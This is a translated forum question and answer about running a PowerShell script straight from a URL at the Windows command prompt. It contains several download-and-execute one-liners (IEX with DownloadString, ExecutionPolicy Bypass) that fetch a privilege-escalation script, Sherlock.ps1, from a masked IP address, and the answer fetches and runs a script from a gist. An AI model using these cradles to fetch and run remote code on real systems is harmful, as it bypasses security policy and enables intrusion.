在命令提示符下从 WebClient.DownloadString 运行 Powershell 脚本

问题描述

在命令提示符下,我想运行一个存储在 URL 中的 PowerShell 脚本。

这是我尝试过的:

powershell -c "iex ((New-Object System.Net.WebClient).DownloadString('http://192.X.X.X/Sherlock.ps1'))"

powershell -Command "& iex (New-Object System.Net.WebClient).DownloadString('http://192.X.X.X/Sherlock.ps1')"

powershell -noprofile -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.X.X.X/Sherlock.ps1'))"

powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://192.X.X.X/Sherlock.ps1')"

我已经让他们每个人都跑了 5 分钟,但没有真正显示出我想要的结果。它没有显示任何错误,但等待后实际上什么也没发生。

我想知道为什么上述脚本不能按预期工作?

我将通过键入以下内容来实现我想要的结果:

echo IEX (New-Object Net.WebClient).DownloadString('http://192.X.X.X/Sherlock.ps1') | powershell -noprofile -Command -

我的问题类似于: Run Powershell script from URL without temporary file

其他参考: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_powershell_exe?view=powershell-5.1

https://gist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70

解决方法

有不止一种方法,但这里有一个快速的单行代码,应该可以在命令提示符下完成:

powershell -ExecutionPolicy Bypass -Command "[scriptblock]::Create((Invoke-WebRequest "https://gist.githubusercontent.com/ChrisKibble/afea9880a184cd2b2445e5d8408715af/raw/41cbbf042af07136132f09395e4664ffab33e310/gistfile1.txt").Content).Invoke();"

这会根据 URL 上托管的文件的内容创建一个脚本块。

至于为什么你的不工作,很难说不调试它或做一些进程监控,但我的第一个猜测是你的 PS1 文件有问题(尝试一些简单的东西,比如 Write-Host) .